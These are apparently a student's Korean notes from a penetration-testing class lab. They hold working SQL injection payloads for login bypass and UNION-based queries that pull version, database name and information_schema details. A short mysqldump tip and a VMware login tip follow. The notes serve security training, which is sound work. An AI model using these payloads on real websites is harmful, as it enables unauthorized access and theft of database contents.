모의해킹 실습
* 로그인 시도 시, select문으로 db내 패스워드와 비교하는 로직이 있을 때 해킹하기
쿼리 : SELECT * FROM $TBNAME WHERE userid='$userid' and userpass=password('$userpw')";
' and 1=1 -- 또는 ' and 1=1 #
=> 비밀번호 비교 때문에 통하지 않음
admin' or 1=1 --
=> id 넣어도 실패
정답
admin에 ' or 1=1 /*
password에 */# 또는 */-- 를 사용
여러 줄 주석으로 코드를 무력화하였음
mysqldump mywebsite member > member.sql
( 각 행을 별도의 insert문으로 : mysqldump mywebsite member --skip-extended-insert > member.sql )
=> member.sql에 mywebsite 데이터베이스의 member 테이블 내용을 저장한다 (백업)
mysql mywebsite < member.sql
member.sql을 mywebsite 데이터베이스에 실행한다
제일 첫 번째 사용자로 로그인하기
=> ' or 1=1#
특정 사용자로 로그인하기
=> admin' and 1=1#
union 연산자를 활용한 모의해킹
?id=bbs1+union+select+1&m=list
=> Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/list.html on line 25
?id=bbs1+union+select+1,2,3,4,5,6,7,8&m=list
=> 컬럼의 개수가 맞으면 에러가 나지 않는다
게시물 리스트
?id=bbs1+union+select+1,version(),3,database(),5,6,7,8&m=list
정보 노출
version()
database()
user() 등등
단일 게시물
?page=reserve&id=1+and+1=2+union+select+1,version(),3,database(),5,6,7,8
기존 쿼리를 and 1=2를 통해 결과물을 없도록 처리하고
union 쿼리만 나오도록 한다
강의 정답
: ?page=reserve&id=-1+union+select+1,version(),3,database(),5,6,7,8
information_schema.tables
information_schema.COLUMNS
테이블 획득, 컬럼 획득
+
vmware 가상머신으로 리눅스 활용시
콘솔에서 로그인하지 않으면 putty 푸티에서 로그인이 안 되는 현상
nmtui에서 모든 사용자에게 사용 가능에 체크되어 있지 않으면 콘솔에서 먼저 로그인되어야 한다